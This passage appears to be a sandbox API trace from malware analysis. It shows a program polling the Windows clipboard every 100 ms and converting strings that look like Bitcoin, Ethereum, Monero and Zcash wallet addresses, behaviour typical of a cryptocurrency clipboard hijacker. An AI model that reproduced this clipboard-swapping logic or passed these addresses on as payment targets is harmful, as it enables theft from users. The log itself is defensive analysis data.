lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.242] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.242] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0047.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0047.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0047.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0047.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0047.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0047.244] Sleep (dwMilliseconds=0x64) [0047.374] GetOpenClipboardWindow () returned 0x0 [0047.374] OpenClipboard (hWndNewOwner=0x0) returned 1 [0047.374] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0047.374] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0047.374] GlobalSize (hMem=0x6069b8) returned 0x42 [0047.376] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0047.378] GlobalUnlock (hMem=0x6069b8) returned 1 [0047.378] CloseClipboard () returned 1 [0047.378] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.378] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.395] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.395] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.395] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.395] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.396] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.396] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.396] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.396] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.396] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.396] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.396] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.396] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.396] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.397] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.397] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.397] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.397] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.397] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.397] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.397] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.397] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.397] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.398] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.398] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.398] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.398] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.398] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.398] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.398] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.398] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.398] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0047.398] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0047.399] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0047.399] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0047.399] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0047.399] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0047.399] Sleep (dwMilliseconds=0x64) [0047.510] GetOpenClipboardWindow () returned 0x0 [0047.510] OpenClipboard (hWndNewOwner=0x0) returned 1 [0047.511] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0047.513] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0047.513] GlobalSize (hMem=0x6069b8) returned 0x42 [0047.513] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0047.513] GlobalUnlock (hMem=0x6069b8) returned 1 [0047.513] CloseClipboard () returned 1 [0047.513] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.513] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.513] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.513] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.513] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.513] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.513] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.514] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.514] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.514] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: 